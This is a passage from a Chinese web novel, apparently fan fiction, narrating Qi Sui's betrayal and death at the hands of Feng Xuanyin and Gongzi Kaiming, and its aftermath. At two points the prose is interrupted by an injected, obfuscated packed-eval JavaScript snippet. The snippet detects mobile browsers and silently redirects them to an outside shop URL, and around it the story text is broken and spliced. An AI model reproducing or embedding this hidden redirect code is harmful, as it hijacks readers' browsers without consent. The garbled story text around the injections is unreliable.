“哦?被我说中心事,恼羞成怒了?”戮世摩罗不依不饶地继续道,“麒岁啊麒岁,君子善人这种东西,骗骗别人就够了,别把自己也给骗了。应龙师的孩子能出来什么良善之辈?” 麒岁双眼血红,似乎是被戮世摩罗的话触到了逆鳞,抓着陌刀的手背青筋凸起,咬牙挥刀,猛地朝戮世摩罗砍了过去! 然而,就在那刀停在戮世摩罗上方之时,麒岁的动作忽然停住了,如同被时间定格。 “……” 他缓缓回过头去,动作沉重而缓慢,仿佛背负着千斤重担。 一把长剑自他身后,无声无息地刺穿了他的身体,剑尖透背而出,带出一蓬温热的鲜血。 血的颜色,亦有雪的颜色,寒冰三尺,冻得是他的心,一片冰冷。 站在他身后,手中握着剑柄的,正是他刚刚还牵肠挂肚的,凤璇音。 此时凤璇音已完全没了平日的明媚可爱,一双血红色的眸子幽幽地盯着麒岁,如修罗一般,带着死尸的气息自地狱中爬出,要在此了结他的性命。 麒岁咳了一口血,血珠飞溅在冰面上。 他用难以压抑的震惊语气,缓缓开口: “凤妹……你……” 但不等他说完,凤璇音就冷冷地打断了他的话: “此一刀,还不足以解我心头之恨。” 说罢,她猛地抽出了长剑。 剑锋带出一道血线,“呲”地一声,大片的血溅到她的脸上,她的眼睛却一眨不眨,仿佛一个毫无感情,只知杀戮的恶鬼。 麒岁向前踉跄了几步,陌刀支在地上,摇摇欲坠。 “哈哈……哈哈哈……原来,原来如此……” 他笑了,笑容中充满了自嘲,充满了凄凉,充满了悲哀。 他悲哀凤璇音的背叛,悲哀自己落入敌人的圈套,更悲哀的是,他不是没想过凤璇音会将剑对准他的心脏,但……他什么都没有做。 这些信任和怀疑,一步一步,构成了如今的场景。 千万冰锥扎进他仍在跳动的心脏,那一刀的疼痛又算得了什么? 忽地,他怒喝一声!声音如雷霆炸裂,一股强大的魔气自他身体之中爆开,如同火山喷发,“轰隆隆”地席卷了四周的一切,一时间飞沙走石,冰晶狂舞,地动山摇! 戮世摩罗和凤璇音急忙向后退去,却还是被这凶猛的气劲震得吐出血来! 混乱之中,麒岁抡起陌刀一挥,刀气如同狂风暴雨,将戮世摩罗和凤璇音再度打退,而后他趁此机会,跌跌撞撞地冲出了羽瑞寒魄宫。 他踉跄着踏入夜色中之,抬头看看向四周。 没有看到祸雕的身影,祸雕呢? 他咳了两声,喉咙腥甜,胸口的伤势让他每呼吸一下都痛苦万分。 正当他四处寻找祸雕的身影时,后面再次涌来一阵杀气,如同利刃割裂夜空! 麒岁回头,惊见逆神已经在他头顶,马上就要劈下来了! 就在这千钧一发之际,他的左侧忽然席卷起一阵风,将地上的杂草枯叶全部卷起,接着,一把斧子猛地劈了过来,险险地挡住了戮世摩罗的逆神! 麒岁转头一看,欣喜又松了一口气地喊道: “祸雕!” “嗯?”戮世摩罗皱了皱眉头,似乎是对突然出现的祸雕感到略微的讶异。 祸雕挡在麒岁身前,一手用斧子挡住逆神,另一只手向后伸出去,握住了麒岁的肩膀: “四殿下,您对祸雕有恩,祸雕今日救你一次,您快走吧!今后如何,就看你我的造化了。” 他的声音在乱石穿空之中,略有些模糊。 祸雕的话让麒岁愣住了。 他这是什么意思?什么叫救你一次,什么叫今后如何就看造化?他怎么一个字都听不懂了? 但还不等他多想,祸雕抓着他手腕的手忽然猛地一用力,一道强大的气劲就把麒岁打了出去,直接飞开了数十丈之远! 麒岁在一片烟尘之中重重落到地上,幸好他及时用陌刀支在地上稳住摇摇欲坠的身体,不然就整个摔倒在地上了。 麒岁扶着陌刀艰难地直起身子,回头望向羽瑞寒魄宫的方向,山野间隐隐约约传来兵器相接的声音,那大概是戮世摩罗和祸雕。 他又转过头看看前面的路,那是通向山下的路。 他握紧了手中的陌刀,深吸一口气,迈开步子,迅速朝前方赶了过去。 草丛,树林,落叶,一丛丛一片片自他身旁飞过,他的步子越来越急,呼吸也越来越急。夜色下的空气寒冷,却无法让他乱成一团的大脑冷静。此时此刻他感觉自己的大脑已经乱成一团了,无数个念头,无数个声音,撕扯着他那已经不堪一击的理智。 凤璇音,祸雕,麒染,戮世摩罗……这几个名字在他脑海里扭成了麻花,不停地摔打,让他几乎头痛欲裂。 麒染和戮世摩罗,是何时商定的计划? 凤璇音又是在何时叛变的? 祸雕最后的那句话是什么意思? 他一边踉踉跄跄地向前,一边从头开始回忆整件事情的始末,血一滴一滴落在地上,拖开一路腥红。 是从哪里开始有问题的,是从哪里开始有破绽的?是从他赶往羽瑞寒魄宫开始?还是从他下令包围羽瑞寒魄宫开始?是他派兵攻打招摇关开始?还是他将公子开明带来凶犁魔都开始? 到底是哪里?到底是哪里出了问题?仅仅是因为戮世摩罗能进羽瑞寒魄宫,仅仅是因为凤璇音她叛变了吗? 麒染是怎么与钦相联系的,麒染又要如何攻打凶犁魔都,还有,还有…… “咚”地一声,他的脑海里忽然像是打通了什么似的,让他一下子清醒了一般。 麒岁顿住脚步,一股凉意如同冰冷的利爪,狠狠地扼住了他的喉咙,让他几乎无法呼吸。 他忽然想明白了,忽然间一切都明白了。 当他在凶犁魔都外,等待着传音镜中的消息时,告诉他麒染已经前往羽瑞寒魄宫的那个人…… 是祸雕。 —— 魔都城外,蓝月已至中天。 树林中,麒染焦虑地来回踱步,不时朝凶犁魔都的方向看一眼,心中焦灼万分,如同热锅上的蚂蚁一般。 三个月前,凤璇音告诉他,三个月后的月圆之夜要来凶犁魔都外等着。如今月圆之夜已至,蓝月也早已高悬,却也不见有任何的异样出现。 凤璇音不会是在骗他吧? 麒染又焦急地向凶犁魔都的方向走了几步,目光穿过树梢,紧紧盯着远处的城墙。 今晚的魁度谿异常安静,城墙上没有巡逻的魔兵,也没有弓箭手警惕的踪影。这种反常的宁静让麒染心生疑惑:难道麒岁设下结界之后,对于都城的防守放松了? 正当麒染暗自揣摩着麒岁的意图时,身后突然响起了一阵脚步声和盔甲撞击的声音! 麒染听见声音,猛地回过头去—— 只见身后的树林里,一大片魔兵正匆匆赶来! 魔兵军队穿梭在树木之间,盔甲闪烁着寒光,武器锋利如霜。树枝在魔兵的脚下发出“嘎吱嘎吱”的声响,落叶翻飞,整个树林似乎都在颤动。 麒染看到这突如其来的军队,先是一愣,随即认出了那些熟悉的身影——那是六皇子府的精锐! 为首的两员魔将,一个皮肤呈蓝色,青色长发闪烁着雷电的光芒,另一个则是蓝发红衣,身披亮蓝色的羽毛斗篷,正是他府中的两员大将,雷月青夔和丹阑毕方! 麒染瞪大了眼睛,震惊地看着军队朝他走来。 他们……他们不是都死在招摇关的那场战役里了吗?怎么会,怎么会出现在这里?! 麒染如同石像般僵立在原地,大脑一片混乱。直到雷月青夔和丹阑毕方大步走到他面前,低身行礼,齐声喊道:“末将见过六殿下”时,麒染才从震惊中回过神来。 “雷月……丹阑?”他的声音从震惊转为了惊喜,双手紧紧抓住两人的胳膊,“你们,你们还活着!” “回六殿下,我们之前一直在招摇关。”雷月青夔向麒染解释道:“妖神将只是将我们俘虏,并未下杀手,虽然我们也折损了很多魔兵……” “本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13870994|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们在六皇子府中无法脱身,正好借此机会离开凶犁魔都。”丹阑毕方接上雷月青夔的话说道,“妖神将告诉我们,今日来凶犁魔都外,就能接应到六殿下,所以我们就来了!” “太好了,太好了……你们安然无恙真是太好了!”麒染激动地道,“但修罗国度为何不杀你们,反而将你们送回?” 雷月青夔迈前一步,深吸一口气,解释道:“六殿下,自从您前往句余山谷后,我和丹阑便被困于六皇子府中,麒岁多次劝降,但我们始终未降。如今他成为疆主,借刀杀人,让我们那么多兄弟白白送死,此仇不报,我们誓不罢休!” “对!”丹阑毕方一边点头,一边举起手中的帛焰长鞭,指向凶犁魔都的城墙,“六殿下,下令吧!今日我们便助您攻进凶犁魔都,斩杀麒岁,夺回属于您的疆主之位!” 麒染转过身去,看向凶犁魔都的城墙,月光照耀下,整座城都如同一只矗立在黑暗中的巨兽。 “好。”麒染点了点头,将身体转向了众魔兵: “众将士听令!” 魔兵们整齐划一地立正,等待着命令。 “今日,我们就一雪前耻,夺回属于我们的凶岳疆朝!”麒染挥手指向魔都的大门,声音洪亮: “全军出发!” —— 麒岁捂着腹部的伤口,鲜血从指缝间溢出,染红手掌。血随着他的步伐落在地面,撕扯出一条触目惊心的红色印记。 他的另一只手紧紧握着陌刀,支撑着摇摇欲坠的身体,踉踉跄跄地向前赶去。 夜风凛冽,吹过他凌乱的发丝,带来刺骨的寒意。他一边艰难地行走,一边在脑海中回溯着事件的脉络,记忆的碎片逐渐拼凑起来,事情的前因后果也逐渐清晰。 是祸雕,麒岁逐渐肯定了自己心中的猜测。 原来是他…… 怎么会是他? 如果真的是祸雕的话,一切就都说得通了…… 祸雕带公子开明“偶遇”钦相并策反,接着找到机会让钦相与麒染暗中联系。与此同时戮世摩罗假装重伤,引他派出丹阑毕方和雷月青夔。随后,钦相按照公子开明的指示,来到北鹿阁搜查,让自己误以为麒染的目标是罗织罪名。 最后,便是利用他对麒染的杀心——祸雕包围羽瑞寒魄宫后,看到的是戮世摩罗,却告诉他进寒魄宫的人是麒染,导致他在寒魄宫遭到了埋伏。 如此说来,跟随麒染攻打凶犁魔都的,应该就是六皇子府的那些魔兵了。 毕竟,他当时是派祸雕在军中监视雷月青夔和丹阑毕方,现在想来,他们可能根本就没有死…… 麒岁紧握长刀,借着冷冷的月光,试图让自己从混乱中冷静下来。 他已踏入敌人设下的陷阱,现在唯有想办法破局,思考他现在还有什么筹码,可以让他不至于输得一败涂地。 他一边绞尽脑汁思考着,一边匆匆来到了山脚下。 如今他有两个选择——一个是回凶犁魔都,刹罗狰以及四皇子府的一众魔兵还在等他,只要麒岁回去,就能带他们守住魔都,魔羲宫守卫水劫长右也一定会帮他。 而另外一个选择是…… 他转头看向沉沦海的方向。 瑶山。 瑶山是他母后镇守的地方,只要他逃入瑶山,寻求母后的庇护,钦相和麒染就都动不了他。之后他便可以借瑶山的力量东山再起,夺回疆主之位。 但是…… 麒岁又转头看向凶犁魔都的方向,眼神中闪过一丝犹豫。 他真的要扔下北鹿阁中的兄弟们,不顾他们的死活,自己逃走吗?刹罗狰也是跟着他出生入死的魔将,此时此刻,他真的要抛下他,自己逃出生天,苟延残喘吗? 他……要这样做吗? 这一刻,不知为何,麒岁忽然想起了现在在殊梨院中,与公子开明下的那一局棋—— ——“观其白子,左边棋子分布均匀,气势恢宏,步步为营,是一条坦荡之路。而右边的棋子紧凑,局势复杂,似有陷阱潜伏,虽短却险。” ——“走哪条?” ——“自然是左边。” ——“那我若要设伏,会在哪边呢?” ——“依照正常的思路,自然是右边的局势更好设下埋伏伏击。但你能想到的,对手也一定能想到。所以我想,上策为两条路皆埋伏,而中策为……在小路上埋伏。” ——“为什么?不是说敌人也一定能想到吗?” ——“因为小路易藏易攻,与对手的算计无关。” ——“嗯,那你会走哪条路呢?” ——“我也走小路。” ——“为什么?” ——“因为小路多变数,任何一个变数,都是可以利用的拐点。” …… 麒岁看了看那条通往瑶山的宽敞大路,又扫了一眼通往凶犁魔都的狭窄小径,脑海中逐渐浮现出刹罗狰在战场上厮杀的画面。 他紧握着拳头,指甲深深地陷入手心里。 最后,他深吸一口冰冷的空气,下定决心,朝着凶犁魔都的方向冲了过去! 他一路向前,马不停蹄,生怕因为自己的延误而错过了北鹿阁魔兵们的生死存亡。这是他的失误,是他亲手铸下的大错,他不能让北鹿阁的魔将和魔兵们因为他的错误而遭受牵连,而他自己却逃之夭夭,置众兄弟的死活于不顾…… 抛弃战友的事,他做不到,也绝对不会做…… 他低着头,步履匆匆,夜风在耳边呼啸,模糊了周围的一切声音,他的世界只剩下自己的呼吸和脚步声。 正当他十万火急向前奔去时,突然,一道影子出现在了他的前方,硬生生截断了他的去路! 麒岁措手不及,猛地顿住脚步,陌刀插入地面,支撑住自己。 他满心惊愕,缓缓抬起头。 那是道熟悉的身影。 来者身着一袭墨色长衣,披风在夜风中猎猎作响,如同一团翻滚的黑色云雾。降妖宝杖背在身后,杖身上的复杂纹路泛着金色的光芒,如同一盏火烛,照亮夜中的一片黑暗。 那一瞬间,麒岁感觉好像有一团掺杂着无数情绪的云团从心里膨胀开来,凌乱得让他无法形容。 他哑着声音开口,说出的每个字都像是刀子在狠狠割着他的喉咙: “策君……” 他其实连这一点也算好了——策君终究是个不可预测的变数,他便在动手杀麒染之前,先把策君打入了牢狱,却没想到,他仍是有办法逃出生天。 策君……果然还是策君。 公子开明听见麒岁的声音,握着降妖宝杖的手微微一动,缓缓转过了身。夜风拂过,衣角翻飞,他的双眸低垂,竟流露出了一丝几乎无法察觉的怜悯。 金色的双眸与碧色的眼睛在寒冷的月光下交织,这一次麒岁眼中没有半点杀意,只有无尽黯然。 策君盯着麒岁的眼睛,沉着声音开口了: “我明明告诉过你,要走大路。” 他的声音无悲无喜,如同一位看尽人间悲欢的佛陀: “麒岁,你为什么不信我。” —未完待续— 24.围杀(4) 【24】 麒岁艰难地支着钩剡陌刀,脚步踉跄不稳,像是被重锤击中,每退一步都伴随着胸口的剧痛,几乎让他无法呼吸。 夜风中对峙半晌,他突然一侧脸,猛地吐出了一大口鲜血。血洒在深褐色的土地上,如同狰狞的邪火。 他知道,这血不全是戮世摩罗打出来的。 那是他的心结。 对面的公子开明静立不动,降妖宝杖金光闪烁,似乎在等待着什么。麒岁扶着刀柄,艰难地抬起头来,鲜红的血滴落在银色颈环上,如同为蛇点上一只血红的凶睛。 “策君……要在此杀我吗?” 公子开明单手负后,降妖宝杖轻轻摇晃,“明知故问,本策君若不杀你,又为何在此设下埋伏?” 麒岁哑着声音问,“这……是策君和戮世摩罗提前布好的杀局吗?” 公子开明歪了歪头,轻松的语气与周围的肃杀格格不入,“老实讲,句余山谷之战过后,本策君和那个小娃娃帝尊就没再交流过了。” 麒岁闻言,不禁发出一声苦笑,笑声在沙棠树林中回荡,显得格外凄凉。 “好吧,”他缓缓直起颤抖的身体,碧绿的眸子中闪过一抹决绝的狠戾: “策君若是认为能在此地取我性命,那就来拿吧!” 话音刚落,麒岁抡起陌刀,刀气如狂风骤雨,猛地朝公子开明席卷而去!与此同时,降妖宝杖绽放出耀眼金光,转瞬之间,已携万钧之势朝麒岁的头顶落下! 麒岁挥刀抵挡,绿芒与金光在空中碰撞,激起的气流使得万千片沙棠花叶如暴雨般簌簌而下,在两人周身旋转飞舞。 宝杖与陌刀交锋,麒岁咬紧牙关开口道,“策君功体的封印,果然被解开了。” “你——应该早有察觉吧?”公子开明回道,“你的术法实在是厉害,连钦相也只能用术法慢慢将你的封印化解掉,而无法短时间内解开。” “我察觉到了。”麒岁说,“但我没有拆穿策君。” “是吗?”公子开明语速极快,字字如刀,“没有拆穿我,是信任我,还是——” 话音未落,他猛然发力,将麒岁震得连连后退: “试探我?” 金光与绿芒在沙棠花间交织,杀气四溢,将地面的落叶和花瓣卷起,尘土飞扬,枝叶凋零。 几个回合下来,麒岁已显颓势,内伤加剧,他被一棍震退后,扶着陌刀,摇摇欲坠。 麒岁剧烈地咳嗽着,鲜血溅落在地,腥红而刺目。公子开明却不给他任何喘息之机,又是一棍猛扫而来,麒岁勉强闪躲,却被魔气再次震退数步。 麒岁身受重伤,无法支撑自己的身体,双膝一软便重重跪倒在地,钩剡陌刀“当啷”一声坠地,沾满鲜血,狼狈不堪。 公子开明手持长杖,一步一步朝他走来。 麒岁艰难地扶着地面,试图直起身子,他缓缓擦去嘴角的鲜血,但鲜血仍旧不由自主地滴落,染红衣襟: “策君,真的要在此杀我吗?” 公子开明听见他的问题,脚步一顿,随后,声音从麒岁的头顶上方传来: “我早就告诉过你,我是修罗国度的策君。” 麒岁低着头,一滴血,又一滴血,他沉默着,没有声音。 “是啊……”他喃喃着重复道: “你是……修罗国度的策君……” 公子开明没有听他把话讲完,他猛地抡起降妖宝杖,猛地朝麒岁的头顶劈了过去! 就在降妖宝杖即将击中麒岁头顶之际,麒岁忽然猛地一抬头,碧眼中溢满了汹涌的杀气,目光碰撞的一瞬,竟让公子开明心中闪过了一丝熟悉感! 紧接着,一道绿色的雷电如同狂蟒般猛地落下! 电闪雷鸣的光芒瞬间照亮了周围的沙棠,强烈的魔气如同爆炸般将公子开明狠狠地震了出去! “怎会!” 突如其来的魔气让公子开明措手不及,他踉跄后退几步,尘土飞扬中。 麒岁扶着陌刀艰难地站起身,他的头顶,是一个散发着幽幽绿光的巨大术法阵。 公子开明盯着那术法阵,想起自己刚才为何会对麒岁的眼睛有一种熟悉感了—— 那是应龙师的眼神! 随后,那术法阵化作无数道惊心动魄的电光,狂风暴雨般地朝公子开明袭来! “龙克·旱雷!” 电光如雨,公子开明连忙挥出降妖宝杖抵挡,但那术法太过强大,他虽将电光一一击退,但也受到重创,身体后退数丈,涌出一口鲜血。 麒岁站在绿色的阵法中央,狂风将长发吹乱,黑袍猎猎作响,钩剡陌刀如同术法长杖,一双眼睛此刻已染满了血色,凶狠的眼神里满是绝望。 公子开明用长杖支撑着摇摇欲坠的身体,艰难地抬头看向麒岁。 果然,果然。 根据修罗国度对麒岁的情报,他一直都是个武学天赋低微的皇子,他在与黑白郎君一战中惨败,戮世摩罗打败他也不是难事。 现在想来,他可能并非真的武学低微,而是—— 他不想用。 麒岁周身闪烁着绿色的雷光,“滋啦滋啦”的声音犹如地狱恶鬼的嘶喊,他红着眼睛瞪着公子开明,咬牙切齿: “你们……真的要逼我至此吗?” 他的眼睛里仿佛要滴出血来,整个眼眶都被一片血色所淹没: “我一直一直,都想要和你们一起,创造魔世的和平,可是你们每个人都抛弃我,每个人都背叛我!” 公子开明抬起手,指向麒岁, “那是因为……” 他冷声开口,声音无情: “你是应龙师的孩子。” 一句话,如同千万把锋利的刀刃,狠狠刺入麒岁的心脏,让他心口再次剧痛。 鲜血如泉涌出,幽绿色的阵法也随之摇曳减弱。 “不,”他喃喃,脸上的表情像是听到了可笑的事,又像是听到了绝望的事,“我……我……” 公子开明质问道,“你口口声声说会信我,会信凤璇音,会信祸雕,会信刹罗狰,可是你是真的相信,还是只是把我们当做你证明自己与应龙师不同的工具?你本该有自己的判断,何时相信,何时不信,可在这一点上,你完全失了理智,该信的时候不信,不该信的时候全信。麒岁,你是真的无智,还是被和应龙师的相似之处乱了心智?” 麒岁的手抖了起来,冰凉的指尖扶住自己的头颅: “策君,不要再说了……” “无论你再怎么标榜自己相信他人,也都只是你的矫枉过正而已,你的本质还是和应龙师一样,奸诈,多疑!你从来都不信我,不信凤璇音,也不信祸雕和刹罗狰!” “不是的,不是的!”麒岁摇着头,声音颤抖,似乎要因为公子开明的话崩溃了。 “人人都说你谦恭有礼,君子如风。可你真的如此吗?你趁应龙师重伤,架空疆主,独揽大权。又布下杀局,弑父夺位,嫁祸亲弟。你看似要招揽丹阑毕方和雷月青夔,其实在麒染离开魔都的那一刻,你就已经在盘算怎么将他们除掉。更不用说最后这一局引君入瓮,更是以牺牲凤璇音作为代价。麒岁,你和应龙师哪里不同?你们都是一样的阴险狡诈,惯于借刀杀人。你是真的因为魔伶之死而要魔世和平,还是,那只不过是掩饰你野心的一个借口?!” 麒岁抖着声音大喊,“不要再说了!” 话音甫落,轰隆隆一阵雷声,绿色雷电从法阵中狂泻而下,如同利剑一般撕裂空气,直击地面!雷电所到之处,绿色的火焰在片片落叶之中疯狂蔓延,飞沙走石被雷电的威力惊得四处飞散,如同被无形的手抛向高空,爆发的魔气如同狂潮般震得公子开明不得不连连后退数步! 他紧紧握住降妖宝杖,艰难地稳住自己的身体。 麒岁颤抖的声音自术法的光芒之中传来: “应龙师他一个卑鄙的小人,连自己的亲儿子,亲女儿都能杀害,自己的妃子受苦不闻不问,还将自己的将军陷害致死……”他的声音充满了悲愤和不甘,“他这种人,我怎么可能会和他一样,我怎么可能……” 公子开明冷声打断了他的话,“他杀子杀女卑鄙无耻,你弑父杀弟难道就高他一等?” 一句话如惊天霹雳,再次狠狠地击中了麒岁,逼得他踉跄后退,险些跌倒。 “麒岁,你想当君子,想做好人,想抹消你体内应龙师的血,可是你看看你自己,你看看你现在的样子 ,还有你头顶的阵法,”公子开明拿着降妖宝杖指向麒岁: “你和应龙师,有什么不同?” 有什么不同…… 是啊,麒岁内心的声音也在疯狂嘶喊。 有什么不同…… 在他很小的时候,周围的长辈就会说,麒岁是和应龙师最像的孩子,有应龙师的帝王之风,有应龙师杀伐果断的气质,也有和应龙师一样优秀的术法天赋。别的兄弟姐妹学法术,最少也要练习几十次才能学会,而他不过十次就能完全掌握。 自小,他就是比太子更得期望的那个孩子。 可是他眼里看到的应龙师,却不是那个“有着帝王之风”的父亲,而是一个卑鄙奸诈,不择手段,满手血腥的小人。 自他懂事之后,他便暗暗下决心,绝对绝对,不要成为应龙师那样的人。 他隐藏自己的术法天赋,故意在比试中输给麒染,他让自己变得温文尔雅,和蔼可亲,他要自己光明正大,堂堂正正,他要做一个知人善任,爱民如子的圣明之君,他要让魔世和平,让沉沦海两岸不再有像元邪皇之乱那样的战事发生…… 他那么笃定,那么坚定地想要把应龙师的血从他身上抹消。 可是为什么,为什么? 难道蚯蚓,就只能做土地里的蚯蚓,就只配拥有黑暗,永远得不到光明吗? 绝望之中,麒岁缓缓地直起身,握着陌刀的手心流下鲜血,如同蜿蜒的小溪,蔓延刀柄,染红冰冷的金属。 他缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公子开明被落雷击中,猛地吐出一口血,但他不闪不避,继续将枪向前刺去,麒岁顿时受到佛气影响,踉跄后退,抓着陌刀的手也开始颤抖。 公子开明趁此机会,旋身一枪,猛地挑开了麒岁的陌刀! 钩剡陌刀飞出去的一瞬间,火尖枪猛地刺进了麒岁的心脏! …… “嘀嗒,嘀嗒。” 血滴到地面的法阵上,绿光幽幽,就好似被这几滴血封了威力,逐渐地弱下去了。 随之弱下去的,还有公子开明一身的佛气。 阵法消失,佛气消散,刚刚还在空中狂舞的沙棠花也都纷纷落到了地上。 一时间,风停,树静,尘埃落定,一切都陷入了沉寂。 自心脏内流出来的血,顺着火焰枪头流下来,犹如小河一般,一点点带走麒岁的神智。 麒岁盯着那不断涌出的鲜血,咳了一声,而后,忽然绝望地笑了起来。 疯疯癫癫,痴痴傻傻。 “我此生最恨的,就是身体里流的这血……流吧……流干了才好,流干了才好……” 他一边说着,一边缓缓拿出了那块魔伶送给他的璇瑰,红色的玉石上,斑斑点点的血迹,将原本纯净的鸟儿染上一丝血腥。 他慢慢抬起头,看向公子开明。 策君手里握着长枪,金色的双眸里流转着一丝同情,一丝悲悯。 麒岁笑了一声,像是在自嘲: “策君在怜悯我。” “……”公子开明只是看着他,没有说话。 麒岁又道,“策君看我,应也觉得可笑吧。” “我骗所有人,最后……连我自己也骗过去了。” 公子开明依旧不言——他能说什么呢?麒岁模模糊糊地想到,嘲讽他的痴傻和天真?策君不会那么做的,他眼里的那丝怜悯,就已经是对麒岁这一生荒唐的最大讽刺。 他强撑着逐渐模糊的意识,再次开口询问,声音微弱而沙哑: “策君……我想知道……去瑶山的那条路上……你有没有……安排伏兵?” 公子开明听见他的问题,睫毛动了动,像是心里的某处被触到了一般。 随后,他开口: “没有。” 两个字,犹如死刑前的宣判,无情而决绝。 “哈哈哈……” 麒岁低头笑了,他一边笑,一边任凭鲜血从口中涌出,像是听到了世间最可笑的笑话,是啊,还有什么笑话能比这更好笑呢? “原来……蚯蚓终究只能是蚯蚓……就算见到了光……也只会在光的照耀中……死亡……” 他沙哑着声音说完这句话后,头便垂了下去。 染了血的璇瑰落到了地上,“当啷”一声,鸟儿埋进了土里。 他再也没有睁开眼睛。 —未完待续— 25.围杀(5) 【25】 羽瑞寒魄宫外,一场战斗还未停止。 戮世摩罗挥舞逆神,将祸雕的斧头狠狠地挡开,一时间剑斧相击,火星四溅,溢出的魔气撼动四周草木。 隔着兵器,戮世摩罗盯向祸雕,沉着声音道,“好了够了,麒岁的影子都没了,你再打下去,我怕我一失手,就不好和策君交代了。” 祸雕闻言,眼神瞬间黯淡下来,急忙将手中的巨斧收回,低头向戮世摩罗深深地行了一礼,语气中满是谦卑与敬畏:“帝尊恕罪。” “真不想恕啊,那么好的一个机会被你放过了。”戮世摩罗也将逆神收起来,剑身在冰冷的月光下闪烁着寒光: “你是什么时候被策君安排在麒岁身边的?” 祸雕恭敬地回道,“两年前。末将本是夜国公麾下的一员,两年前策君担心魔世未来可能生变,向夜国公求助,夜国公便用计将我安排到了麒岁的身旁。” “嗯,虽然很想怪罪你,但仔细想想,这一局你确实立了大功,也算是将功补过了。”戮世摩罗一边说着,一边转头看了看身后的羽瑞寒魄宫。 “凤璇音需要西王母印才能从这里面出来,策君应该已经从麒岁那里拿到了 ”戮世摩罗的目光再次回到祸雕身上,“我们先回招摇关去找策君吧。” 祸雕闻言,神色微微一僵,犹豫了片刻,终于还是忍不住开口询问:“帝尊,您真的打算救火凤郡主吗?” 戮世摩罗理所应当地回道:“都已经答应了,岂能言而无信。” 祸雕沉吟了一下,吞吞吐吐地开口:“帝尊……末将有话,不知当说不当说。” 戮世摩罗凝眸看他,似乎在心中权衡着什么,“你说。” 祸雕深吸一口气,言语间带着一丝迟疑: “末将认为,火凤郡主两面三刀,朝秦暮楚,几乎可以说是不忠不义了。先前留她,是为了让她在敌国做间谍,可若是将她救出,她便连卧底的价值都没有了。末将认为,火凤郡主要么留在寒魄宫里继续与我们配合,要么就杀掉,以绝后患。” 戮世摩罗不语,神情像是听到了一个很新奇的说法。他似笑非笑地盯着祸雕看了良久,最后道,“我若不救她,就是不守信,想必她也不会再继续帮我了。” “那就要斩草除根,以绝后患。”祸雕提议道,他的语气并不激烈,可出口的话却是狠毒。 戮世摩罗反问他道,“你觉得我会怕她?” 祸雕闻言,慌忙解释,“末将并不是这个意思……” “兵仙在西楚霸王那里是个郎中,到了高祖手里就成了大将军。有些人不是不好用,只是不会用而已。”戮世摩罗转头看向祸雕,眼眸深邃不见底: “别人不敢用的人,我戮世摩罗偏要用。” 说罢,他单手一背,向前走去,“不必多说,先随我回招摇关吧。” 祸雕见戮世摩罗头也不回地向前走去,心中虽还有疑虑,但终究是将话咽了下去,快步跟了上去,和戮世摩罗一起消失在了梧桐树林之中。 —— 公子开明回到招摇关,已经是第二天一早的事情了。 前一天晚上杀掉麒岁后,公子开明将麒岁的尸首扔上了木鸢,随后马不停蹄地赶往凶犁魔都附近,想要打探一番麒染攻城的消息。 根据附近村落里的村民所说,麒染攻城时,魁度谿边主动破开了魔都的结界,大开城门让麒染带着军队进入。城中的居民已提前疏散好,唯有四皇子府的魔将们出来应战。然而,群龙无首的他们终究无法抵抗,最终都在麒染的铁蹄下败下阵来。刹罗狰等魔将,纷纷战死沙场,壮烈牺牲。 麒染就这样轻而易举地夺回了凶岳疆朝的统治权,同时还赢得了钦相的拥护,以及赤水女魃的默许。 而瑶后对此事尚未作出任何反应。 这一晚上,凶犁魔都灯火通明,杀伐声不止,公子开明也一夜未眠。他探听完凶犁魔都的消息后,又驾驶着木鸢前往瑶山,在瑶山上空盘旋了一圈又一圈。 瑶山之巅,云雾缭绕,静谧无声,整整一晚都没有任何的异常。 是没有收到消息?公子开明在心里琢磨,还是故意保持平静,以免露出破绽? 瑶后的心思,比应龙师还难猜。 公子开明就这样在瑶山上空徘徊了一整夜,直到第二天一早,他才返回招摇关。 抵达招摇关时,公子开明一眼便看到曼邪音站在关门外,他便从木鸢上一跃而下,忽地跳到了曼邪音身前,扬起一地白色的尘沙。 曼邪音先是被突然出现的公子开明惊了一下,随后上前一步,高声道,“策君,你终于回来了。” 上一次他们见面,还是公子开明被调到浮玉关之前,那时鬼飘伶还来招摇关找过他。 “回——来了。”公子开明转着脑袋,语气夸张地道,“闼婆尊,有想我没?” 曼邪音自然不可能正面回答,直接跳开了这个问题,转而询问道,“麒岁死了?” 提到麒岁,公子开明眼神一沉: “嗯,死了。” 他一边说着,一边指了指天空中的木鸢,“尸体我都带回来了。” 曼邪音抬头瞥了一眼天空中振翅飞翔的木鸢,又将目光移回公子开明身上:“帝尊杀的他?还是你?” 公子开明沉默片刻,回道,“他自杀。” “什么?”曼邪音以为自己听错了,又询问了一遍。 “他——不想活了,自杀了!”公子开明突然提高声音,做出一个刺向自己的动作,吓得曼邪音一惊:“最后一枪,他明明能躲开,但是他没有,所以我说他是自——杀了!” 曼邪音满心疑惑,“他为什么会自杀?” “什么样的人会自杀?曼邪音你好好思考一下,”公子开明在曼邪音身边来回踱步,摇头晃脑地道,“要么,是大脑有问题,要么,是心里有问题,麒岁他嘛,大概是两样都有问题!” “哼。”曼邪音退后一步,袖子一甩,“我看策君也有问题。” “我——哪里有问题啊!”公子开明急步上前,满脸委屈地问道。 “你是舌头有问题,割掉就好了。”曼邪音轻描淡写地说道,仿佛是在说今日午饭吃什么。 “啊!啊啊啊!”公子开明捂着心口,痛苦地后退几步,带着哭腔道,“闼婆尊你……你真的这么残忍……” 